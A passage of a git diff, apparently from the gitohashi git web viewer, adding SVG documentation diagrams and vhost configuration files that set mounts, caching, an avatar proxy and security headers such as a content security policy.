x\u003d\u0022-419.62625\u0022 y\u003d\u002277.119873\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.4px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.675\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-419.62625\u0022 y\u003d\u002277.119873\u0022\u003edynamically\u003c/tspan\u003e\u003ctspan x\u003d\u0022-419.62625\u0022 y\u003d\u002283.871964\u0022\u003egenerated\u003c/tspan\u003e\u003ctspan x\u003d\u0022-419.62625\u0022 y\u003d\u002290.624046\u0022\u003eJSON\u003c/tspan\u003e\u003c/text\u003e\u003c/g\u003e\u003cpath d\u003d\u0022m-457 48.9c14.1 0.415 11.8-18.5 23.7-21.2 9.95-2.34 12.8 2.56 22.9 1.53 5.6-0.0204 12.5 1.83 12.4 7.48l-0.263 3.65-1.16 2.81-2e-3 1.44 0.295 1.53 0.381 1.35 3.7 8.94c9.65 23.1-14.5 21.3-5.51 5.55 12.7-9.35-21-10.1-26.2-7.77-9.07 3.35-14.1 12.4-23 15.7-1.52 0.862-3.92 2.53-6.24 1.95-0.154-2.45-1.03-20.5-1.06-22.9z\u0022 fill\u003d\u0022#666\u0022/\u003e\u003cg\u003e\u003cpath d\u003d\u0022m-394 77.1c0.358 3.1-1.58 6.53 0.456 9.34 1.65 3.43 6.08-0.768 3.33-3.05-2.16-1.61-4.03-3.33-3.78-6.3z\u0022 fill\u003d\u0022#666\u0022/\u003e\u003ctext x\u003d\u0022-420.20056\u0022 y\u003d\u002239.115841\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.4px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.675\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-420.20056\u0022 y\u003d\u002239.115841\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.675\u0022\u003estatic html\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-419.95941\u0022 y\u003d\u002245.385567\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.4px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.675\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-419.95941\u0022 y\u003d\u002245.385567\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.675\u0022\u003etemplate\u003c/tspan\u003e\u003c/text\u003e\u003ccircle transform\u003d\u0022matrix(2.55 0 0 2.55 -736 -807)\u0022 cx\u003d\u0022133\u0022 cy\u003d\u0022366\u0022 r\u003d\u00221.24\u0022 fill\u003d\u0022url(#i)\u0022 filter\u003d\u0022url(#r)\u0022/\u003e\u003ccircle transform\u003d\u0022matrix(4.95 0 0 4.95 -1.01e3 -1.64e3)\u0022 cx\u003d\u0022114\u0022 cy\u003d\u0022346\u0022 r\u003d\u00221.24\u0022 fill\u003d\u0022url(#b)\u0022 filter\u003d\u0022url(#q)\u0022/\u003e\u003ccircle transform\u003d\u0022matrix(4.47 0 0 4.47 -978 -1.49e3)\u0022 cx\u003d\u0022127\u0022 cy\u003d\u0022357\u0022 r\u003d\u00221.24\u0022 fill\u003d\u0022url(#h)\u0022 filter\u003d\u0022url(#p)\u0022/\u003e\u003ccircle transform\u003d\u0022matrix(4.47 0 0 4.47 -980 -1.54e3)\u0022 cx\u003d\u0022127\u0022 cy\u003d\u0022357\u0022 r\u003d\u00221.24\u0022 fill\u003d\u0022url(#e)\u0022 filter\u003d\u0022url(#m)\u0022/\u003e\u003ccircle transform\u003d\u0022matrix(4.47 0 0 4.47 -959 -1.51e3)\u0022 cx\u003d\u0022127\u0022 cy\u003d\u0022357\u0022 r\u003d\u00221.24\u0022 fill\u003d\u0022url(#d)\u0022 filter\u003d\u0022url(#l)\u0022/\u003e\u003ccircle transform\u003d\u0022matrix(3.48 0 0 3.48 -841 -1.18e3)\u0022 cx\u003d\u0022127\u0022 cy\u003d\u0022357\u0022 r\u003d\u00221.24\u0022 fill\u003d\u0022url(#g)\u0022 filter\u003d\u0022url(#k)\u0022 opacity\u003d\u0022.486\u0022/\u003e\u003ccircle transform\u003d\u0022matrix(4.47 0 0 4.47 -999 -1.53e3)\u0022 cx\u003d\u0022127\u0022 cy\u003d\u0022357\u0022 r\u003d\u00221.24\u0022 fill\u003d\u0022url(#f)\u0022 filter\u003d\u0022url(#o)\u0022/\u003e\u003ccircle transform\u003d\u0022matrix(4.47 0 0 4.47 -993 -1.5e3)\u0022 cx\u003d\u0022127\u0022 cy\u003d\u0022357\u0022 r\u003d\u00221.24\u0022 fill\u003d\u0022url(#c)\u0022 filter\u003d\u0022url(#n)\u0022/\u003e\u003ctext x\u003d\u0022-478.18784\u0022 y\u003d\u002293.683533\u0022 fill\u003d\u0022#ffff00\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.4px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.675\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-478.18784\u0022 y\u003d\u002293.683533\u0022 fill\u003d\u0022#ffff00\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.675\u0022\u003e...remainder of html\u003c/tspan\u003e\u003c/text\u003e\u003c/g\u003e\u003c/g\u003e\u003c/svg\u003e\ndiff --git a/doc/doc-assets/naked-and-sandwich.svg b/doc/doc-assets/naked-and-sandwich.svg\nnew file mode 100644\nindex 0000000..fc1dc29\n--- /dev/null\n+++ b/doc/doc-assets/naked-and-sandwich.svg\n@@ -0,0 +1,37 @@\n+\u003c?xml version\u003d\u00221.0\u0022 encoding\u003d\u0022UTF-8\u0022?\u003e\n+\u003csvg width\u003d\u0022184.2mm\u0022 height\u003d\u0022124.56mm\u0022 version\u003d\u00221.1\u0022 viewBox\u003d\u00220 0 184.20392 124.56111\u0022 xmlns\u003d\u0022http://www.w3.org/2000/svg\u0022\u003e\n+\t\u003cdefs\u003e\n+\t\t\u003cfilter id\u003d\u0022a\u0022 x\u003d\u0022-.033749\u0022 y\u003d\u0022-.051576\u0022 width\u003d\u00221.0675\u0022 height\u003d\u00221.1032\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00221.3371908\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\u003c/defs\u003e\n+\t\u003cg transform\u003d\u0022translate(-51.252 -98.979)\u0022\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003crect transform\u003d\u0022matrix(1.8146 0 0 1.8146 304.67 -44.961)\u0022 x\u003d\u0022-136.45\u0022 y\u003d\u002282.532\u0022 width\u003d\u002295.092\u0022 height\u003d\u002262.224\u0022 filter\u003d\u0022url(#a)\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u002256.116\u0022 y\u003d\u0022103.84\u0022 width\u003d\u0022172.56\u0022 height\u003d\u0022112.91\u0022 fill\u003d\u0022#f9f9f9\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m146.72 110.13v101.38h62.656v-13.961h-49.092v-43.044h49.092v-44.374z\u0022 fill\u003d\u0022#5f8dd3\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m164.24 156.94v37.209h51.133v-6.3616h-39.314v-24.726h39.314v-6.1215z\u0022 fill\u003d\u0022#a80\u0022 fill-opacity\u003d\u0022.86364\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022179.6\u0022 y\u003d\u0022165.58\u0022 width\u003d\u002243.951\u0022 height\u003d\u00228.162\u0022 fill\u003d\u0022#f60\u0022 fill-opacity\u003d\u0022.96281\u0022/\u003e\n+\t\t\u003crect x\u003d\u0022179.6\u0022 y\u003d\u0022176.38\u0022 width\u003d\u002243.951\u0022 height\u003d\u00228.162\u0022 fill\u003d\u0022#f60\u0022 fill-opacity\u003d\u0022.96281\u0022/\u003e\n+\t\t\u003cg fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 letter-spacing\u003d\u00220px\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022\u003e\n+\t\t\t\u003ctext x\u003d\u0022179.29561\u0022 y\u003d\u0022119.79851\u0022 font-size\u003d\u00227.0215px\u0022 stroke-width\u003d\u0022.87769\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022179.29561\u0022 y\u003d\u0022119.79851\u0022 fill\u003d\u0022#ffffff\u0022 stroke-width\u003d\u0022.87769\u0022\u003eTemplate HTML\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022192.04271\u0022 y\u003d\u0022161.17987\u0022 font-size\u003d\u00223.7114px\u0022 stroke-width\u003d\u0022.46393\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022192.04271\u0022 y\u003d\u0022161.17987\u0022 fill\u003d\u0022#ffffff\u0022 stroke-width\u003d\u0022.46393\u0022\u003edynamic JSON\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022201.6248\u0022 y\u003d\u0022170.64967\u0022 font-size\u003d\u00223.4405px\u0022 stroke-width\u003d\u0022.43006\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022201.6248\u0022 y\u003d\u0022170.64967\u0022 fill\u003d\u0022#ffffff\u0022 stroke-width\u003d\u0022.43006\u0022\u003ecached or dynamic JSON\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022201.53995\u0022 y\u003d\u0022181.60657\u0022 font-size\u003d\u00223.4405px\u0022 stroke-width\u003d\u0022.43006\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022201.53995\u0022 y\u003d\u0022181.60657\u0022 fill\u003d\u0022#ffffff\u0022 stroke-width\u003d\u0022.43006\u0022\u003ecached or dynamic JSON\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003crect x\u003d\u002262.953\u0022 y\u003d\u0022109.33\u0022 width\u003d\u002263.146\u0022 height\u003d\u0022101.85\u0022 fill\u003d\u0022#f60\u0022 fill-opacity\u003d\u0022.96471\u0022/\u003e\n+\t\t\u003cg fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 letter-spacing\u003d\u00220px\u0022 word-spacing\u003d\u00220px\u0022\u003e\n+\t\t\t\u003ctext x\u003d\u002293.898964\u0022 y\u003d\u0022119.98466\u0022 font-size\u003d\u00227.0215px\u0022 stroke-width\u003d\u0022.87769\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002293.898964\u0022 y\u003d\u0022119.98466\u0022 fill\u003d\u0022#ffffff\u0022 stroke-width\u003d\u0022.87769\u0022\u003e\u0022naked\u0022 repo file\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003cg font-size\u003d\u00223.7114px\u0022 stroke-width\u003d\u0022.46393\u0022\u003e\n+\t\t\t\t\u003ctext x\u003d\u002271.254112\u0022 y\u003d\u0022129.47945\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002271.254112\u0022 y\u003d\u0022129.47945\u0022\u003e\u003ctspan font-weight\u003d\u0022bold\u0022 stroke-width\u003d\u0022.46393\u0022\u003e/patch/\u003c/tspan\u003e\u003c/tspan\u003e\u003ctspan x\u003d\u002271.254112\u0022 y\u003d\u0022134.11874\u0022\u003etext/plain raw diff\u003c/tspan\u003e\u003ctspan x\u003d\u002271.254112\u0022 y\u003d\u0022138.75803\u0022/\u003e\u003c/text\u003e\n+\t\t\t\t\u003ctext x\u003d\u002270.965675\u0022 y\u003d\u0022143.79506\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002270.965675\u0022 y\u003d\u0022143.79506\u0022\u003e\u003ctspan font-weight\u003d\u0022bold\u0022 stroke-width\u003d\u0022.46393\u0022\u003e/plain/\u003c/tspan\u003e\u003c/tspan\u003e\u003ctspan x\u003d\u002270.965675\u0022 y\u003d\u0022148.43436\u0022\u003evarious assets served from\u003c/tspan\u003e\u003ctspan x\u003d\u002270.965675\u0022 y\u003d\u0022153.07364\u0022\u003einside the repo directly\u003c/tspan\u003e\u003ctspan x\u003d\u002270.965675\u0022 y\u003d\u0022157.71294\u0022/\u003e\u003c/text\u003e\n+\t\t\t\t\u003ctext x\u003d\u002270.626152\u0022 y\u003d\u0022162.29762\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002270.626152\u0022 y\u003d\u0022162.29762\u0022\u003e\u003ctspan font-weight\u003d\u0022bold\u0022 stroke-width\u003d\u0022.46393\u0022\u003e/snapshot/\u003c/tspan\u003e\u003c/tspan\u003e\u003ctspan x\u003d\u002270.626152\u0022 y\u003d\u0022166.93692\u0022\u003earchives generated from a\u003c/tspan\u003e\u003ctspan x\u003d\u002270.626152\u0022 y\u003d\u0022171.5762\u0022\u003especific repo and ref\u003c/tspan\u003e\u003ctspan x\u003d\u002270.626152\u0022 y\u003d\u0022176.2155\u0022/\u003e\u003c/text\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003ctext x\u003d\u002293.580284\u0022 y\u003d\u0022204.09814\u0022 font-size\u003d\u00223.4405px\u0022 stroke-width\u003d\u0022.43006\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002293.580284\u0022 y\u003d\u0022204.09814\u0022 fill\u003d\u0022#ffffff\u0022 stroke-width\u003d\u0022.43006\u0022\u003e... all cacheable\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022179.02235\u0022 y\u003d\u0022146.77275\u0022 font-size\u003d\u00223.4405px\u0022 stroke-width\u003d\u0022.43006\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022179.02235\u0022 y\u003d\u0022146.77275\u0022 fill\u003d\u0022#ffffff\u0022 stroke-width\u003d\u0022.43006\u0022\u003enever cached\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003ctext x\u003d\u0022136.3925\u0022 y\u003d\u0022163.42026\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00223.841px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.48012\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022136.3925\u0022 y\u003d\u0022163.42026\u0022 stroke-width\u003d\u0022.48012\u0022\u003e...or...\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003ctext x\u003d\u0022157.53709\u0022 y\u003d\u0022128.51778\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00223.7114px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.46393\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022157.53709\u0022 y\u003d\u0022128.51778\u0022\u003e\u003ctspan font-weight\u003d\u0022bold\u0022 stroke-width\u003d\u0022.46393\u0022\u003e/everything else/\u003c/tspan\u003e\u003c/tspan\u003e\u003ctspan x\u003d\u0022157.53709\u0022 y\u003d\u0022133.15707\u0022\u003eStatic HTML + dynamic\u003c/tspan\u003e\u003ctspan x\u003d\u0022157.53709\u0022 y\u003d\u0022137.79636\u0022\u003eJSON \u0022sandwich\u0022\u003c/tspan\u003e\u003ctspan x\u003d\u0022157.53709\u0022 y\u003d\u0022142.43565\u0022/\u003e\u003c/text\u003e\n+\t\u003c/g\u003e\n+\u003c/svg\u003e\ndiff --git a/etc-gitohashi/conf b/etc-gitohashi/conf\nnew file mode 100644\nindex 0000000..fd4e901\n--- /dev/null\n+++ b/etc-gitohashi/conf\n@@ -0,0 +1,14 @@\n+# these are the gitohashi server global settings\n+#\n+# stuff related to each vhosts should go in one\n+# file per vhost in ./conf.d/\n+\n+{\n+ \u0022global\u0022: {\n+ \u0022uid\u0022: \u002248\u0022, # after init, run as apache user\n+ \u0022gid\u0022: \u002248\u0022, # after init, run as apache group\n+ \u0022server-string\u0022: \u0022gitohashi\u0022,\n+ \u0022init-ssl\u0022: \u0022yes\u0022\n+ }\n+}\n+\ndiff --git a/etc-gitohashi/conf.d/localhost b/etc-gitohashi/conf.d/localhost\nnew file mode 100644\nindex 0000000..71095be\n--- /dev/null\n+++ b/etc-gitohashi/conf.d/localhost\n@@ -0,0 +1,141 @@\n+# you should create one file like this per vhost in /etc/gitohashi/conf.d\n+\n+{\n+\t\u0022vhosts\u0022: [{\n+\t\t# this should match the external hostname for the vhost,\n+\t\t# like xyz.com\n+\t\t\u0022name\u0022: \u0022localhost\u0022,\n+\t\t# multiple vhosts can occupy the same port (SNI is used\n+\t\t# to resolve)\n+\t\t\u0022port\u0022: \u0022443\u0022,\n+\t\t# required for avatar cache\n+\t\t\u0022enable-client-ssl\u0022: \u0022on\u0022,\n+\t\t# \u0022ipv6\u0022: \u0022on\u0022,\n+\n+\t\t# You should store your real certificate key somewhere safer,\n+\t\t# eg on Fedora /etc/pki/tls/private, readable only by root. But\n+\t\t# since the right place for this differs by distro and these\n+\t\t# particular certs are not valuable, we get them from\n+\t\t# /usr/local/share where they are installed.\n+\n+\t\t\u0022host-ssl-key\u0022: \u0022/usr/local/share/gitohashi/example-cert/localhost-100y.key.pem\u0022,\n+\t\t\u0022host-ssl-cert\u0022: \u0022/usr/local/share/gitohashi/example-cert/localhost-100y.cert.pem\u0022,\n+\n+\t\t\u0022mounts\u0022: [\n+\t\t\t{\n+\t\t\t\t# the dynamic html + json from libjsongit2\n+\t\t\t\t\u0022mountpoint\u0022: \u0022/git\u0022,\n+\t\t\t\t\u0022origin\u0022: \u0022callback://gitohashi\u0022\n+\t\t\t},\n+\t\t\t{\n+\t\t\t\t# static assets like js, css, fonts\n+\t\t\t\t\u0022mountpoint\u0022: \u0022/git/_gitohashi\u0022,\n+\t\t\t\t\u0022origin\u0022: \u0022file:///usr/local/share/gitohashi/assets\u0022,\n+\t\t\t\t\u0022cache-max-age\u0022: \u00227200\u0022,\n+\t\t\t\t\u0022cache-reuse\u0022: \u00221\u0022,\n+\t\t\t\t\u0022cache-revalidate\u0022: \u00220\u0022,\n+\t\t\t\t\u0022cache-intermediaries\u0022: \u00220\u0022,\n+\t \t\t\t\u0022extra-mimetypes\u0022: {\n+\t\t\t\t\t\u0022.zip\u0022: \u0022application/zip\u0022,\n+\t\t\t\t\t\u0022.map\u0022: \u0022application/json\u0022,\n+\t\t\t\t\t\u0022.ttf\u0022: \u0022application/x-font-ttf\u0022\n+\t\t\t\t}\n+\t\t\t},\n+\t\t\t{\n+\t\t\t\t# semi-static cached avatar icons\n+\t\t\t\t\u0022mountpoint\u0022: \u0022/git/avatar\u0022,\n+\t\t\t\t\u0022origin\u0022: \u0022callback://avatar-proxy\u0022,\n+\t\t\t\t\u0022cache-max-age\u0022: \u00222400\u0022,\n+\t\t\t\t\u0022cache-reuse\u0022: \u00221\u0022,\n+\t\t\t\t\u0022cache-revalidate\u0022: \u00220\u0022,\n+\t\t\t\t\u0022cache-intermediaries\u0022: \u00220\u0022\n+\t\t\t}\n+\t\t],\n+\t\t\n+\t\t#\n+\t\t# these headers, which will be sent on every transaction, make\n+\t\t# recent browsers definitively ban any external script sources,\n+\t\t# no matter what might manage to get injected later in the\n+\t\t# page. It's a last line of defence against any successful XSS.\n+\t\t#\n+\t\t\n+\t\t\u0022headers\u0022: [{\n+\t\t \u0022content-security-policy\u0022: \u0022default-src 'none'; img-src 'self' data: https://travis-ci.org https://api.travis-ci.org https://ci.appveyor.com https://scan.coverity.com; script-src 'self'; font-src 'self'; style-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'none';\u0022,\n+\t\t \u0022x-content-type-options\u0022: \u0022nosniff\u0022,\n+\t\t \u0022x-xss-protection\u0022: \u00221; mode\u003dblock\u0022,\n+\t\t \u0022x-frame-options\u0022: \u0022deny\u0022,\n+\t\t \u0022referrer-policy\u0022: \u0022no-referrer\u0022\n+\t\t}],\n+\n+\t\t\u0022ws-protocols\u0022: [\n+\n+\t\t{\u0022gitohashi\u0022: {\n+\t\t\t# template HTML to use for this vhost. You'd normally\n+\t\t\t# copy this to gitohashi-vhostname.html and modify it\n+\t\t\t# to show the content, logos, links, fonts, css etc for\n+\t\t\t# your vhost. It's not served directly but read from\n+\t\t\t# the filesystem. Although it's cached in memory by\n+\t\t\t# gitohashi, it checks for changes and reloads if\n+\t\t\t# changed automatically.\n+\t\t\t#\n+\t\t\t# Putting logos etc as svg in css is highly recommended,\n+\t\t\t# like fonts these can be transferred once with a loose\n+\t\t\t# caching policy. So in practice they cost very little,\n+\t\t\t# and allow the browser to compose the page without\n+\t\t\t# delay.\n+\t\t\t#\n+\t\t\t\u0022html-file\u0022:\t \u0022/usr/local/share/gitohashi/templates/gitohashi-example.html\u0022,\n+\t\t\t#\n+\t\t\t# vpath required at start of links into this vhost's\n+\t\t\t# gitohashi content for example if an external http\n+\t\t\t# server is proxying us, and has been told to direct\n+\t\t\t# URLs starting \u0022/git\u0022 to us, this should be set to\n+\t\t\t# \u0022/git/\u0022 so URLs we generate referring to our own pages\n+\t\t\t# can work.\n+\t\t\t#\n+\t\t\t\u0022vpath\u0022:\t \u0022/git/\u0022,\n+\t\t\t#\n+\t\t\t# base directory for the bare git repos we might serve\n+\t\t\t#\n+\t\t\t\u0022repo-base-dir\u0022: \u0022/srv/repositories\u0022,\n+\t\t\t#\n+\t\t\t# allow serving git repos that have gitolite read ACL\n+\t\t\t# rights for this user. Set to \u0022@all\u0022 to serve all\n+\t\t\t# available repos (except gitolite-admin, which will\n+\t\t\t# never be served) The recommended convention is a\n+\t\t\t# virtual user \u0022v-vhostname\u0022 in gitolite config and here\n+\t\t\t# to mark which repos should be made available on this\n+\t\t\t# vhost.\n+\t\t\t#\n+\t\t\t\u0022acl-user\u0022:\t \u0022@all\u0022,\n+\t\t\t#\n+\t\t\t# url mountpoint for the avatar cache\n+\t\t\t#\n+\t\t\t\u0022avatar-url\u0022:\t \u0022/git/avatar/\u0022,\n+\t\t\t#\n+\t\t\t# libjsgit2 JSON cache... this\n+\t\t\t# should not be directly served\n+\t\t\t#\n+\t\t\t\u0022cache-base\u0022:\t\u0022/var/cache/libjsongit2\u0022,\n+\t\t\t#\n+\t\t\t# restrict the JSON cache size\n+\t\t\t# to 100MB\n+\t\t\t#\n+\t\t\t\u0022cache-size\u0022: \u0022100000000\u0022,\n+\t\t\t#\n+\t\t\t# optional flags, b0 \u003d 1 \u003d blog mode\n+\t\t\t#\n+\t\t\t\u0022flags\u0022: 0\n+\t\t\t#\u0022blog-repo-name\u0022:\t\u0022myrepo\u0022\n+\t\t},\n+\t\t\u0022avatar-proxy\u0022: {\n+\t\t\t\u0022remote-base\u0022: \u0022https://www.gravatar.com/avatar/\u0022,\n+\t\t\t#\n+\t\t\t# this dir is served via avatar-proxy\n+\t\t\t#\n+\t\t\t\u0022cache-dir\u0022: \u0022/var/cache/libjsongit2\u0022\n+\t\t}}\n+\t\t]\n+\t\t}\n+\t]\n+}\ndiff --git a/etc-gitohashi/conf.d/unixskt b/etc-gitohashi/conf.d/unixskt\nnew file mode 100644\nindex 0000000..9a59c1d\n--- /dev/null\n+++ b/etc-gitohashi/conf.d/unixskt\n@@ -0,0 +1,127 @@\n+# you should create one file like this per vhost in /etc/gitohashi/conf.d\n+\n+{\n+\t\u0022vhosts\u0022: [{\n+\t\t# this has no special meaning but needs to be unique\n+ \u0022name\u0022: \u0022unixskt\u0022,\n+ \u0022unix-socket\u0022: 1,\n+ # multiple vhosts can exist with different unix skt names\n+\t\t\u0022interface\u0022:\t \u0022/var/run/gitohashi-unixskt\u0022,\n+\t\t# required for avatar cache\n+ \u0022enable-client-ssl\u0022: \u0022on\u0022,\n+\n+\t\t\u0022mounts\u0022: [\n+\t\t\t{\n+\t\t\t\t# the dynamic html + json from libjsongit2\n+\t\t\t\t\u0022mountpoint\u0022: \u0022/git\u0022,\n+\t\t\t\t\u0022origin\u0022: \u0022callback://gitohashi\u0022\n+\t\t\t},\n+\t\t\t{\n+\t\t\t\t# static assets like js, css, fonts\n+\t\t\t\t\u0022mountpoint\u0022: \u0022/git/_gitohashi\u0022,\n+\t\t\t\t\u0022origin\u0022: \u0022file:///usr/local/share/gitohashi/assets\u0022,\n+\t\t\t\t\u0022cache-max-age\u0022: \u00227200\u0022,\n+\t\t\t\t\u0022cache-reuse\u0022: \u00221\u0022,\n+\t\t\t\t\u0022cache-revalidate\u0022: \u00220\u0022,\n+\t\t\t\t\u0022cache-intermediaries\u0022: \u00220\u0022\n+\t\t\t},\n+\t\t\t{\n+\t\t\t\t# semi-static cached avatar icons\n+\t\t\t\t\u0022mountpoint\u0022: \u0022/git/avatar\u0022,\n+\t\t\t\t\u0022origin\u0022: \u0022callback://avatar-proxy\u0022,\n+\t\t\t\t\u0022cache-max-age\u0022: \u00222400\u0022,\n+\t\t\t\t\u0022cache-reuse\u0022: \u00221\u0022,\n+\t\t\t\t\u0022cache-revalidate\u0022: \u00220\u0022,\n+\t\t\t\t\u0022cache-intermediaries\u0022: \u00220\u0022\n+\t\t\t}\n+\t\t],\n+\t\t\n+\t\t#\n+\t\t# these headers, which will be sent on every transaction, make\n+\t\t# recent browsers definitively ban any external script sources,\n+\t\t# no matter what might manage to get injected later in the\n+\t\t# page. It's a last line of defence against any successful XSS.\n+\t\t#\n+\n+\t\t\u0022headers\u0022: [{\n+\t\t \u0022content-security-policy\u0022: \u0022default-src 'none'; img-src 'self' data: https://travis-ci.org https://api.travis-ci.org https://ci.appveyor.com https://scan.coverity.com; script-src 'self'; font-src 'self'; style-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'none';\u0022,\n+\t\t \u0022x-content-type-options\u0022: \u0022nosniff\u0022,\n+\t\t \u0022x-xss-protection\u0022: \u00221; mode\u003dblock\u0022,\n+\t\t \u0022x-frame-options\u0022: \u0022deny\u0022,\n+\t\t \u0022referrer-policy\u0022: 